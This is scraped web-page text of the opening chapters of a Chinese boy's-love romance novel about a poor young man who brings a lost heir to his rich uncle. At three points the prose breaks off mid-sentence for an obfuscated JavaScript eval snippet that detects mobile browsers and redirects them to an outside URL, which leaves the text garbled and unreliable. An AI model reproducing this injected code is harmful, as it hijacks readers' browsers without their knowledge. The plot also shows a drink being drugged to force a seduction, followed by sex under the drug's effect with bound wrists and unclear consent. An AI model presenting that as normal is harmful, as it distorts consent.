《老实美人在豪门文里带球跑后》 1. 第 1 章 临近傍晚的时候,天空忽然飘来一片阴翳。 乌云团积堆卷,被风掀得翻涌如浪,纠缠推挤了好一会儿,终于将整座潮湿闷热的城市遮得不露日光。 大雨就在这一瞬降落。 江之遇快步跑到廊下的白石立柱旁,侥幸躲过一身狼狈。 可斜风劲猛,裹挟着雨丝乱舞的雾纱一般,还是在他洗得磨损发白的布鞋上落下几星污痕。 他连忙掏出纸巾擦拭。 这里是北城最豪华的五星级酒店门口。 恢弘建筑高耸云霄,瓢泼雨幕也遮不住它的气派奢华。 因为骤雨将天色压得暗沉,酒店各处的灯提前亮了,星星点点的灯光散落在雨珠中,被折射出氤氲的光圈,顺着玻璃外墙蜿蜒流泻,仿若下在雨幕中一场鎏金盛大的烟火。 江之遇将鞋擦拭干净后抬起头,看到的就是这样一幕辉煌景象。 这让他心里再度生出了误闯入另一个世界的不真实感,有那么一瞬想要离开。 然而雨急风大,他不了解北城到了夏季阴晴不定的气候,出门时没有带伞,这时被困在雨中,就是想走也走不掉。 他盯了雨幕片刻,见这场雨不像是一时半会儿能停下来的迹象,最终踌躇着推开那扇连门框都透着金钱气息的旋转大门。 步履没有跟上门的旋转幅度,险些把身体绊在玻璃上。 于是前台工作人员便看到一个神色局促,耳根红得快要滴血的男人走到她们面前。 穿灰色老旧的棉麻衬衣,下身是颜色更深一点的长裤。 鞋似是手工缝制的,反正市面上少见这样的款式。 这处酒店接待的多是贵宾,出入人群常常光鲜靓丽,眼前的男人实在与这富贵堂皇的地方格格不入。 不过前台工作人员到底经过专业培训,素养良好,微笑着问道:“有什么能为您服务的?” 江之遇攥了攥手心,用带一点南地吴侬的口音说出一早在脑海里想好的说辞:“我想请问你们这里招不招服务生,厨房帮厨也可以,我很会做饭。” 原来是来北城务工的外乡人。 前台工作人员了然。 她们不负责招聘方面的工作,想说这个不太清楚,准备打发他离开。 但看这名青年着装朴素,说话还带着口音,一张素净隽秀的脸却漂亮得让人移不开眼。 人看着也很老实本分。 其中一人视线晃了晃,拿起前台电话:“稍等,我帮你问一问。” 说着,拨响一个号码,没多久,指了个方向告诉他:“你从那边的员工通道去二楼,找一位姓陈的经理问一问,看他要不要你。” 江之遇连忙躬身,感激地说了声谢谢。 他按照前台的指引找到陈经理。 对方似乎在忙什么事情,过了许久才注意到他的存在。 听闻来意,原本皱成一团的眉头稍稍舒展开。 今晚酒店要举办一场重要的晚宴,一名侍应生却突发急性肠胃炎,被送去了医院。 还有一名被突如其来的暴雨堵在郊区路上,不知道什么时候才能赶过来。 眼看着距离晚宴没剩多少时间,陈经理上上下下打量了这个主动找上门,外形条件还不错的青年几眼,思索几番,决定先将他留下来,看看今晚能不能以临时工的身份帮上忙,也当试岗。 这正是江之遇想要的结果。 ——混入北城大饭店。 他在一个月前从山上悬崖跌落,睁眼醒来,发现自己穿到了一本豪门小说中,成了顶级豪门谢家走失的真少爷的养父。 全书主要讲的是真少爷被找回豪门发生的一系列的故事,用作者的内容简介来讲,是一篇团宠打脸爽文。 但问题是,小少爷这时才八岁,距离被找回谢家还要十年。 即便找回去,之后的故事也与江之遇没有半点关系。 这倒没什么,江之遇自幼长在山中,本就过着简单平凡的乡下生活,在这个世界捡回一条命后也这样打算。 就是他和小少爷当前的生活条件太过清贫,屋子破旧不堪,刚被洪水淹过,小孩的身形也很削瘦单薄。 江之遇想了想,既然已经知道小少爷真正的家人是谁,不如提前把他送回去,免得多遭十年苦难。 他于是带着小少爷辗转来到北城,找到谢氏所属的集团大楼。 因为没有预约,前台不让他见真少爷的小叔谢总。 他又告知自己是带着谢家走失的小少爷来认亲的,劳烦传达一声。 对方只淡淡往他身上瞥了一眼,语气冰冷没有起伏:“你这样的人我们见得多了,都是骗子,请不要白费心机。” 江之遇:“……” 原来还有人假冒认亲。 没办法,江之遇只能每日徘徊在谢氏集团的楼下,希望能够蹲守到小少爷的小叔,那位年纪轻轻就数次登上国际财经杂志的谢家新任掌舵者谢津延。 可直到前天一个西装革履的男人打着电话从他面前匆匆而过,他才知道谢总并不在国内,却会在两日后飞机抵达北城,径直前往北城大饭店赴宴。 只是…… 江之遇看一眼阔大的落地窗。 不知不觉,天色已经完全降了下来,不再是被骤雨压得不见天光的暗沉之色,而是夜幕本来的浓黑,被都市的灯光染上几分光怪陆离的色彩。 但雨势依旧强劲。 谢家那位,真的会如约而至吗? 不止江之遇这样想。 枫林大道上。 一辆如烈火般张扬的阿斯顿·马丁行驶在灰蒙蒙的雨幕中。 雨声喧嚣,与引擎轰鸣的声浪交融在一起。 却听车里容貌精致,一看就是娇养长大的男生担忧问道:“这样的天气,津延哥真的会来吗?” “我刚才给他助理打过电话,已经申请了航线在私人飞机上了。” “那会不会不太安全?” “你到底想让他来还是不想?”旁边长发惹眼,斯文俊美的男人无奈轻笑,修长手指慵懒地搭在方向盘上。 “岭生已经到了,祁焰那小子虽然不能赶过来,但在世界巡回演唱会上公开给你唱了生日歌,那可是他亲自为你写的词、谱的曲。就算阿延来不了,你也该知足了。” 不一样。 黎星若垂下眸。 今天是自己十八岁成人礼。 他知道今天晚宴上会来很多人,几乎整个北城上层圈的都会前来为他庆贺。 可是所有人都不知道自己真正期待的是谁,更不知道自己有多盼望这一天。 除了终于成年,可以尽情做自己喜欢的事情。 还有……他捏了捏衣角,昳丽漂亮的脸庞染上一丝羞赧和热意。 他要在今晚把自己送到津延哥的床上,这样,两家就能为他们早早订下婚约,津延哥也不会总是再把他当作小孩子。 车一路疾驰,在宽阔的大道上卷起飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136029|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬的水花。 灯火堂皇的酒店里,江之遇已经换好侍应生的制服,候立在宴会厅外面的走廊上。 正在忙着会场调度的陈经理无意间瞥过来一眼,脸上露出惊艳的笑容。 别说,这个第一眼看到的土里土气的青年稍微收拾了一下竟然这么好看。 颜色偏浅的瞳仁,被头顶华灯漏进来的灯光照得像琥珀般澄明剔透。 睫毛很卷很长,几缕细软蓬松的发丝垂下,搭在眼睫,修饰得面部线条柔和,整个人看起来格外乖巧老实,让人不由自主地心生好感。 就是身形过于清瘦了些,却也堪堪撑住了这身黑色的燕尾侍应生制服,倒比某些宾客更像来参加晚宴的。 陈经理原想让他待在后厨做些清洗杯碟、帮忙搬运食材等打下手的工作,但看他换了身衣服后外形实在出挑漂亮,就让人对他进行了简单的培训,安排进今晚的迎宾行列里在宴会厅外面迎宾,把其中一名老员工抽调出来替补生病的侍应生做服务工作。 鉴于对方一口无法忽视的南地口音,陈经理只让他有宾客来时弯腰鞠躬,微笑致意,千万不要开口说话。 江之遇很听话地接受一应安排,闭紧嘴巴,微微笑着,目光却悄悄留意每一个走向宴会厅入口的人。 那里已经开始人影憧憧,进入的男男女女皆衣装华贵,举手投足散发着优雅气息。 其中有个像从童话故事里走出的贵族小王子一样的漂亮少年,被众心捧月着走进宴会厅。 听说就是这次晚宴的主角,北城四大豪门之一医药世家黎家的小少爷。 身旁跟着的长发翩翩,戴金丝眼镜,笑得一脸宠溺的便是他的兄长,黎家未来的继承人。 除此之外,来自港城船舶发迹的霍家,手握媒体渠道和娱乐圈重要资源的祁家,全都来了人赴宴。 江之遇听来往宾客低声谈论,口中极尽恭维之词,他对这些豪门世家一点都不熟悉,也并不感兴趣,只在意他们口中还未现身的谢家家主。 但直到窗外雨声变得舒缓淅沥,大堂钟摆敲响第八声,才从贵宾通道升起的电梯里走出一个姗姗来迟的身影。 一身手工定制的昂贵西装,利落地包裹住高大优越的身形,显得肩背挺括,腿很长。 面容俊逸,神情冷淡倨傲。 酒店走廊的壁灯是暖色调的,铺在地板上的编织地毯也面料细软,踩在上面几乎没有声音。 可所有柔和的晕角都抹不开来人身上的锋锐。 像一柄出鞘的冷刃。 来北城的这些天,江之遇一直打听谢家掌权人。 在财经杂志上,电视访谈中,所有能了解到的这位天之骄子的信息,他都一一收集,记在了心里。 已是男人从电梯走出来的那一刻,他一眼就认出了这个人是谁。 江之遇内心有些欢喜。 功夫不负有心人,总算让他见到了真少爷的小叔。 他看着男人从自己面前走过。 雨夜潮湿,对方矜贵的西装没有沾上半分水汽,却有一股好闻的木质沉香淡淡萦绕鼻间,气息清新,沉冽,让他恍若回到了以前居住的山间。 而就是这么一瞬的晃神,男人和他身后的跟随者已经走远。 再侧眸,就看到候立在宴会厅入口的侍应生推开厚重复古的大门。 耳边漏进杯盏碰撞的声音。 那道颀长高大的身影也随之融进觥筹交错中,继而被大门缓缓关上。 2. 第 2 章 江之遇盯了那样的身影一会儿,好半天收回视线。 刚才看得出神,竟忘了最重要的事情——上前留住谢先生让他给自己几分钟的时间,讲明真少爷的事情。 怪就怪江之遇从来没有见过这么气场凛冽,让人视线不自觉跟随过去的男人。 比在杂志和电视访谈上看起来还要年轻意气,惹人注目。 好在他现在已经混进了酒店,那位谢总宴会结束或是什么时候势必要从宴会厅出来,到时候再找机会也不迟。 他今天无论如何都要和真少爷的小叔搭上话。 宴会厅内,因谢津延的到来掀起一阵不小的喧嚣。 四大豪门世家里,他是最早继承家业和掌权谢氏的,虽然上位的契机有些仓促,是在兄嫂车祸去世后的短短几日,大有临危受命之意。 但不可否认,他以年轻上位者的姿态展露出的强悍手腕和商业天赋撑起了一门命脉,令人信服。 也因此如今的谢津延,走到哪里都是万众瞩目的焦点。 黎星若一晚上心不在焉,这会儿看到期待已久的人出现,有些恹恹的神情立刻笼上光彩。 他兄长黎清叙擎了杯红酒迎上去,空着的那只手在发小肩上拍了拍:“其实雨下得这么大,你就算赶不来也没关系。” 谢津延拂开他的手,理了理并未被弄褶的衣肩,语气淡淡:“我只是不喜欢爽约。” “也对,谢总言出必行。”黎清叙戏谑笑了笑,“不过这话别让我弟弟听到了,他今晚可是念叨了你一整晚。” 谢津延没什么反应,表情依旧平淡,毫无波澜。 黎星若终于从围簇在身边的人群中脱开身,挤到两人跟前,极力压制住眼里的炽热:“津延哥,你来了?” 谢津延低头望过去,嗯了声:“生日快乐。” 黎星若心脏酥酥麻麻的,为这声磁性好听的祝福,也为眼前的男人冒雨前来参加他的成人礼。 尽管他知道,这一切是因为他和自己的哥哥从小一起长大,谢黎两家多年来也一直交情很好。 可仍控制不住心脏突突直跳。 谢津延让助理送上礼物,随后问长辈们好。 过了会儿,回来,问黎清叙:“怎么不见岭生?” 黎清叙抬了抬下巴:“在那边躲清净呢。” 谢津延便投过去视线,果然看到一个清冷的背影隐在衣香鬓影中,自成一个无人打扰的屏障。 生日宴会继续进行。 黎星若等到了期待的人,不再是刚才一副心事沉甸甸的样子,开始热情地张罗着切专为他定制的七层蛋糕。 就是听到一些大人望着几个年轻的小辈谈论起婚事的话题,尤其围绕着已经继承家业的津延哥,要帮他介绍对象,心中略有些不快。 真烦,他为什么今天才成年。 要是早出生几年,可以像哥哥还有岭生哥他们一样就好了。 无论上学还是干什么,都在一起,而不是只能在背后远远看着,永远被当成小孩子。 不过还好,一切会从今晚变得不一样。 上挑的眼睛弯出一抹笑意。 黎星若想到今晚的计划,收起不快的情绪,开始和宾客一起分享生日蛋糕。 在宴会接近尾声的时候,他从餐台拿了两杯香槟走过去,语气乖巧问道:“津延哥,能请你喝杯酒吗?谢谢你来参加我的成人礼,还有……这些年一直对我的照顾。” 谢津延微怔了一瞬,接过。 “没什么。” 他将杯中的酒饮尽。 黎星若往嘴里抿了一口后就没再喝,只透过水光曳曳的玻璃杯看他,感觉脸在一点一点升温,分明自己这杯酒里什么东西都没有加。 一个人影在这时踉跄而过,没注意到旁边的人,不小心撞到他们身上。 黎星若被撞得身形不稳,手一松,高脚杯里的香槟就这样泼了出来,牵连着身侧摆了蛋糕的长桌,谢津延那身做功考究的西装瞬间一片狼藉。 造成这一切的宾客慌忙道歉,黎星若呆了呆,立刻抽了纸巾去擦拭眼前男人衣服上的污渍,却被对方骨节分明的手隔开。 谢津延眉心微蹙,不喜欢别人碰自己:“我自己来。” 黎清叙听到这边的动静,从应酬中拨开身,看到发小满身的狼狈,知道他有洁癖:“你先去休息室清理一下,我让人给你送身干净的衣服过去。” 谢津延嗯了声,转身朝宴会厅门外走。 黎星若就要跟上去,被自家兄长叫住:“他换衣服,你去干什么?” 黎星若脸上顿时露出被抓包的窘色,支支吾吾道:“我只是觉得是我把津延哥弄成这个样子,想看看能不能做点什么。” “他不会计较这种小事。”黎清叙狭长的眼眸若有深意,看得人心虚不已,“何况你是今晚的主角,不能轻易离场。” “好啦,我知道了。”黎星若语气泄露出一丝不耐烦,但又怕自己的目的太过明显,只能收回脚步,打算一会儿找个机会悄悄溜出去。 津延哥性情冷淡,又总把他当小孩,他为此多加了点剂量,还找人演了刚才那出戏,可不能被别的事情打乱他的计划。 此时,外面的雨终于停了,几缕薄薄的云浮上夜空,被风一吹,轻烟似的飘过,隐隐显出半规月色的痕迹。 北城的夏季就是这样。 雨来得迅猛,每次都摧枯拉朽一般,仿佛要将整座城市摇碎。 可一旦雨过天清,云散雾敛,世界便呈现出水洗后的清透,连残留在窗沿雨水啪嗒滴落的声音都分外动听。 江之遇就是在这时听到一记好听的男声,问贵宾休息室在哪里。 很低沉磁性的嗓音,带着淡淡的颗粒感,从觥筹交错的宴会厅入口处悠悠远远飘来,像风吹过夏日晚间的麦田。 他循声望过去,不出意外是他等了一晚上的人。 还是那样一副轻易吸引人视线的天之骄子的模样,身上却狼狈不堪,混合了泼落的酒水和奶油蛋糕。 男人一边走在细软的地毯上,一边用纸巾擦拭西装。 隔着不太远的距离,能看到他指节修长、骨感,被细碎的光辉照得犹如冷玉一般。 眉心轻微蹙起,看得出很不适应身上的脏污。 可擦拭的动作又慢条斯理,在鎏金洒落的走廊灯影映照下,像一幅精雕细绘的浮雕图。 江之遇怕再次错失时机,连忙和身旁的同事说要去一趟洗手间,随后朝男人离开的方向快步跟过去。 在走廊一个无人的拐角,他追上了那道身影,鼓起勇气拦住对方。 “谢先生,您好,能耽误你几分钟时间吗?” 谢津延转头,不期然对上一双忐忑又有些期待的漂亮眼眸,误闯入林中谨慎的小鹿一样望着他。 看衣服穿着,是酒店的侍应生。 “抱歉,我还有别的事情要做。” 谢津延骨子里透着良好的教养,婉拒的话很绅士。 可仔细听,就能分辨出他语气中的冷漠和疏离,半掀着眼皮下的黑沉眼珠也不含半分情绪。 也对,这样天生的上位者,怎么可能会耗费时间在一个无关紧要的人身上? 他说话这句话就抬脚离开。 胳膊突然被抓住。 抓着他的那只手肤色细白,手背薄薄一层,淡青色的血管像画笔在皑皑白雪上勾勒的几笔黛峰,给人轻轻一捏就能破碎的错觉。 力道却出奇得重。 而且不知为何,酒店冷气很足,凉丝丝的雾风自长廊壁顶上的冷气口幽幽沁来,他被抓着的那片皮肤在质地轻薄的西装面料下“腾”地如火烧灼。 谢津延停住脚步。 漆黑的眼底掠过一丝古怪、疑惑,还有淡淡的不耐和燥意。 他目光落在那只手上。 这眼神看不出情绪,不见波澜,却像深潭底下藏匿的暗流,幽漆漆一片,随时将人拖入无尽的深渊。 江之遇被盯得头皮发麻,有点慑于男人浑身散发的冷厉气息,身子不由得缩了缩,手上的力道也减了几分。 可一想到自己辗转千里带着昭昭来到北城,好不容易见到真少爷这位小叔,他又觉得无论如何都不能错过这次机会。 江之遇于是再度握紧了手指,生怕一松手眼前的人就会走开,没注意到男人眼底的暗色陡然加深,墨色比刚才更浓。 呼吸也好像有一瞬错乱。 “谢先生,你们谢家是不是三年前走失了一位小少爷,叫谢寻昭?因为一些意外,他被我暂时收养在家,现在我带着他过来找你了。” 江之遇一口气道明缘由,说完还不忘加了一句“我不是骗子”。 青年的目光太过实诚清澈,语速快了,那种南地吴侬的口音就更明显,但不难听,反而有种春日细雨连绵勾连的缱绻,轻声糯语的,像在撒娇。 谢津延这下不止胳膊被抓的地方在发烫,连耳膜和心脏都像是被什么搔过,痒痒的。 他无视这种灼热蔓延的燥意,黑沉沉的眼珠漠然注视着这个紧抓着他不放的漂亮侍应生。 半晌,冷声道:“说完了吗?” 江之遇:“……完了。” 又急忙补充:“我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136030|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是真的,我有昭昭的照片,你等等,我拿给你看。” 他把手伸进口袋里。 出门前,江之遇特地用原主那台老式手机给昭昭拍了几张照片,还有视频,就怕谢家人不认。 可一摸口袋,他才想起来,做培训的时候,他的手机被领班收走,和其他人一起,放在物品统一管理的柜台,要下班之后才会给他们。 谢津延已无半分耐心。 这三年来,每年都会有人假借寻亲的名义找上他。 一开始是带着不知从哪里找来的和小侄子容貌相似的小孩,等验过DNA,发现和大哥大嫂没有半分血缘关系。 后来则演变成一些别有居心,借机和他搭建关系的。 前段时间一家地产公司濒临破产,负责人的妻子就是用这样的方式在游艇会上接近他,隐瞒债务危机,妄图让谢氏投资,接下烂摊子。 眼前这个外表纯良的侍应生不知道揣着什么目的。 但不管对方所为何事,谢津延不打算在这里再浪费一秒钟时间。 衣服上的脏污让他浑身不自在,那种体内有火苗蔓延的烧灼之意也好像愈来愈烈了。 他压下这种不适走到贵宾通道的电梯前,按下通往休息室那层的按钮。 江之遇刚才忙着翻找手机,见状,连忙三步并作两步挤进电梯。 谢津延眉头皱得更深,显然没料到有人会这么锲而不舍地跟过来。 “需要我叫安保或是你们经理吗?” “别、先别。”江之遇连忙出声阻止,想让谢先生听他把话说完,哪怕一分钟也好,却忽然发现眼前的男人好像不太对劲。 凌厉分明的脸庞上不知何时覆上一层不自然的红,有细细密密的汗珠沁在额头上。 电梯内空间不小,但或许是从宽阔的长廊陡然转入,又或许是男人个子太高,江之遇竟然觉得周遭的空气有些逼仄。 浮动在耳膜的呼吸也有些重,在只有两个人的空间里听起来格外清晰。 他话音一转,关切问了声:“谢先生,您是哪里不舒服吗?我看你脸色不太好。” 谢津延不为所动,修长手指拨弄手机,打算让宋秘书过来把人请走。 大脑忽地一阵眩晕发热,刚才蔓延在体内的灼意像是暗中集结的一团火焰,燎原一般蹿了出来。 呼出的气息变得滚烫,他的手指也在发烫。 到这时,谢津延终于意识到发生了什么,刚才的不适不是错觉。 “这是你的目的?” “什么?”江之遇不明所以,对上一双蒙了迷离雾气的眼眸,刚才还黑得像看不见底的深潭,又像某种质地纯黑的宝石。 谢津延嗓音染上暗哑,浮出薄汗的俊逸五官现出几分阴鸷:“费劲心思接近我,还用这样拙劣的手段。” 啊,被看出来了。 江之遇愣了愣,接着面上一窘,支吾着为自己解释:“我只是因为总见不到你,不得已才用这样的方法。” 其实他一开始没想到自己会被这样的大酒店录用,虽然是以临时工试岗的身份。 江之遇的计划是如果求职被拒绝,他就趁酒店工作人员不注意的时候偷偷躲在卫生间或是某个不起眼的角落,一直等到宴会开始,昭昭的小叔出现。 确实拙劣,有点像变态跟踪狂。 谢津延气笑了。 他还是第一次见给他下药爬床,这么光明正大坦言相告的。 原打算叫宋秘书过来把人弄走,这下有必要先给黎清叙打电话,他需要换完衣服后尽快去黎家的私人医院洗胃。 “叮”一声,电梯门打开。 谢津延迈着已经开始虚浮的脚步走出电梯,边拨发小的电话,余光瞥见依旧跟过来的身影,头疼欲裂。 “要我说清楚吗?我对男人没有兴趣,不会碰你。” 江之遇一脸懵。 什么叫对男人没有兴趣,不会碰他? 他走到谢先生面前,探过去手,瞥见对方阴郁到可怕的脸色,又默默缩了回来:“那你给我一点时间好不好?三分钟?不行一分钟也可以,很快。” 谢津延眸色暗了暗,不知道为什么,听到这句话,烦躁的心头莫名掠过一丝不爽。 贵宾室就在眼前,谢津延按下没有打通的电话,拿房卡刷开门。 直觉这道门关上,以后再想见到昭昭这位小叔会很困难,江之遇的胳膊先大脑一步隔住了门框。 一番纠缠拉扯,天旋地转。 伴随着房门“咔哒”关上的声音。 回过神,江之遇发现自己躺在了地板上。 3. 第 3 章 这是黎家专为今晚来赴小儿子成人礼的宾客准备的接待休息室,在酒店顶层。 灯没来得及打开,室内昏暗一片,只有淡淡的夜色和城市散落的霓灯透过巨大的落地窗照了进来。 江之遇单薄的脊背撞上地毯,身上彷如千斤压顶,一大片阴影压下来,覆在他身上,让他唇瓣不受控制地溢出一阵轻哼。 好重。 这人怎么块头这么大,压得他快要喘不过气了。 而且身上好烫。 江之遇抬起两只手,第一时间想要把身上的人推开,却发现怎么也推不动。 这具身体和他穿越过来前的一模一样,体质却因为常年病弱纤瘦许多,他只能使出更大的力气,又搡了搡。 “别乱动。” 一股灼烫的呼吸擦过耳垂,发出警告意味的声音很低、很哑,像黑暗中粗粝舔噬着什么的火舌。 江之遇撑在胸膛上的手一下子不敢动了。 今晚见到昭昭小叔最大的印象,好凶的男人,明明长了那么一张俊逸矜贵的脸,举手投足优雅端方,气场不知怎么的格外冷悍,瞥过来的眼神让人不由得腿脚发软。 他就这样保持着撑手的动作,有些无措。 这时,淡云散开,夜空中那轮皎月因此光芒更盛。 又或许江之遇的眼睛适应了突然转暗的光线,他看到室内轮廓一点一点清晰,偏浅的眸子也倒映出身上男人的面庞。 离他好近。 一半笼在月光下,一半没入阴影。 半明半灭中,几滴汗珠在这挑开的一点光线中顺着细汗岑岑的额头滚落,滑过深邃的眉弓、流畅的下颌,最后蜿蜒进青筋爆起的脖颈,被拉扯间弄褶的衬衫领子遮住往下的景象。 至于那双看人时令人头皮发麻的黑沉眼眸,被浓睫压下不明的隐忍,眼皮虚虚垂下,翻涌着某种晦暗浓重的情绪,眼尾一片赤红。 江之遇心脏一惊。 不知是身上压着的人体温太过滚烫,还是浮荡过来的呼吸太近、太烧灼,还弥散着醇郁的酒气。 他觉得自己的脸颊像是被火苗舔了一下,热热的,人也跟着醉了似的。 “……你确定没有哪里不舒服?”江之遇再度小声问了句。 好半天没得到回应,对方似乎在克制着什么,半晌,带着极重的喘息嗤声反问:“这不正是你想要的吗?” 江之遇更懵了。 怎么今晚昭昭小叔说的话他一句都听不懂? 他又用手去推身上的人,因为刚才的警告,动作幅度没敢太大。 却不知带着一层薄茧的指腹隔着质地轻薄的衬衫面料窸窸窣窣小心搡动,比刚才的大力还要挑战神经。 谢津延呼吸一滞,胸腔和腹部像是蹿过一道酥酥麻麻的电流,往身体其他部位横冲直撞。 他一把捉住乱蹭的手腕:“都说了让你不要乱动。” 江之遇觉得这人好没有道理:“明明是你压在我身上不起来。” 两人陷入僵持。 片刻,谢津延松开被他圈得泛红的手腕,撑了撑胳膊,试图起身。 可药效劲猛,刚才还无知无觉,发作起来便排山倒海一样在体内翻涌搅动,只撑了几秒,就又重重跌了下去。 江之遇唇瓣再度溢出一记轻哼,吃痛控诉:“我就说是你压在我身上不起来。” 谢津延脸色很难看,心情在这一刻烦躁到了极点。 他用手指勾住领带扯了扯,胡乱去解衬衫扣子。 体内蹿着一团一团烧灼的火焰,心脏也被身下人的话堵得急需寻找一个出口宣泄。 江之遇一脸茫然地看他解衣服扣子,感到脖颈扫过一阵丝丝凉凉的触感,痒痒的,是他脖前的领带擦过。 紧接着昏暗视野里露出一片锁骨,骨窝深陷,线条走势宛若削峰峻岭,硬朗悍利。 往下是胸肌…… 看着好结实。 鼓鼓囊囊的。 还有一块一块排列分明的腹肌。 怪不得压在他身上那么沉,怎么推都推不动。 江之遇卷翘睫毛颤了颤。 不明白眼前的人为什么突然在他面前脱衣服。 虽然都是男人,看一眼同性光裸的上身没有什么。 可江之遇莫名感觉到有一股危险的气息在蓄势待发,和对方身上混杂着的熏熏酒气、奶油蛋糕的甜香,还有那股恍若山间的木质沉香一起,霸道地往他鼻腔和浑身的毛孔里钻。 他这一次说什么都要把身上的人推开。 伸出手,想到男人刚才凶巴巴的语气,指尖触及硬邦邦的胸肌,反应过来,眼前敞开的松松垮垮的黑色衬衫被他合拢,他的手指正一颗一颗把解开的扣子扣上。 谢津延:“?” “你在干什么?” 大概谢津延从未想到自己会有这样失态的一刻。 江之遇也对自己的行为感到不解和无语,磕磕绊绊找补道:“你脸那么红,又流这么多汗,一定是发烧了,我帮你把衣服扣上,免得着凉。” 谢津延额角上的青筋突突直跳,良好的修养和理智都在这一刻摇摇欲坠。 他掀了掀沉重的眼皮,半眯起眼。 昏蒙光线下,躺在他身下的人目光真诚又坦澈,除了带一点不明的怯缩,看上去真的一副关心人的样子。 谢津延一时分不清这是对方刻意勾引他的手段还是别的什么,就知道有那么一瞬,他涣散的视线凝聚在这张素净漂亮的脸上。 搭在额前的发丝细软,扫过一片鸦羽般的眼睫。 月光很清很亮,汪进那双浅色的瞳仁。 明明充满了胆怯,偏暴露在空气中的雪白肩颈却又削瘦单薄,像极了森林里无知无觉、引颈受戮的草食系动物,让人忍不住想要狠狠欺负。 那样细的手腕,按在头顶一定会无力招架吧? 到时候会不会红着眼眶后悔哭泣,不该用这样的方式招惹他? 一瞬的遐思。 身体烫得更加厉害,有些发疼。 谢津延强行弓起身,溃乱的思绪回归一丝清明。 他心跳快,胸腔剧烈起伏,语气近乎压抑着克制:“趁我还没有改变主意,你现在离开,今晚的事情我不会追究。” “那昭昭呢?”江之遇睁大眼睛,不肯放弃,“我好不容易带他找到你,你真的不打算认他吗?” “你凭什么认为我们谢家会认一个来路不明居心叵测的人带来的孩子?”谢津延冷嗤。 “可他真的是你的侄子。”江之遇不知道要怎么说对方才能相信,有些着急地从男人身下挣扎着抽开身,准备去找领班拿回手机,给他看自己录制的视频,同时嘴上不住地讲真少爷的事情。 从自己根据书中剧情了解到的谢家背景到昭昭的长相,尽可能地回忆这一个多月来和昭昭相处的细节,试图让眼前的男人相信他所说的话都是真的。 然而谢津延此刻只是吊着一丝理智,江之遇说了什么,他根本没有听清,只觉得耳边聒噪得厉害,像是被春日黏腻的雨丝重重缠裹。 大脑越来越沉重。 额头开始大滴大滴往下落汗。 那双柔软的蔷薇花瓣一样唇形漂亮的嘴唇却开开阖阖,在眼前晃动出残影,叫人想立刻将它堵上。 偏这时,进门时摔落在地面上的手机响了。 想也不想是黎清叙或宋秘书打来的。 一阵接一阵的铃声在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136031|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有两人的顶层休息室内不断响起,听上去格外刺耳突兀,伴随着语速极快搔刮耳膜的吴侬软语。 谢津延感觉自己快要被撕扯成两半。 最后乱动的膝头擦过腿侧,隔着薄薄的西裤面料,谢津延的理智在这一刻彻底崩塌。 他一把将人捞回来。 细白手腕被重新捉住,狠狠按在头顶的地板上,发出“砰”的一响。 继而高大身躯覆下。 谢津延堵住那双喋喋不休的唇。 …… 天色微亮,窗外漏进一线曦光的时候,江之遇醒了。 身体像是被车轱辘来来回回碾压,每一处骨骼都泛着绵密的钝感,仿佛被人拆掉又重新组上。 这倒还好,让江之遇感到难以启齿的是,某个地方酸酸胀胀的疼。 他稍微动了一下,不适的感觉立刻扩散开,沿着尾椎骨密密麻麻流遍全身。 江之遇吸了一口气。 眼尾洇出一片湿漉漉的水雾。 他缓了缓,注视着头顶陌生的天花板,努力回想发生了什么,还是自己其实在做梦。 过了会儿,偏过头。 闯入视野里的,是无论何时看到都会让人称叹的一张堪称完美的脸,侧脸凌厉,喉结清晰,从下颌往下的线条都是那么优越。 天光熹微,照出男人结实精悍的躯体,没穿衣服,只在腰腹搭了条绵软的薄被,遮不住一道一道暧昧的抓痕。 江之遇视线在这抓痕上凝滞了一瞬,迷茫着移开。 下一秒,又撞进满室狼藉。 衣服从酒店房门口开始散落,一路凌乱,满屋子丢得到处都是。 衬衫和裤子已经分不清是谁的,胡乱地纠缠在一起。 至于那条拂过脖颈质感丝滑的领带,则变得皱巴巴的,一失矜贵,惨兮兮地挂在沙发旁边的座椅扶手上,染着不明的污痕。 刹那间,无数画面涌入脑海。 ……压过来的危险性十足的气息,堵得他一句话说不出来的薄唇。 他在震惊中瞪大眼睛,咬破了什么,血腥味在口腔弥散。 那时候江之遇在想什么? 满脑子都是,为什么昭昭的小叔会突然亲他? 他们不都是男人吗? 男人还可以和男人接吻??? 可来不及思索,更多的事情冲击着他的神经,江之遇二十七年来的认知被全部打破。 手腕被扯下来的领带绑住,不该承受的地方挤进来陌生的感觉。 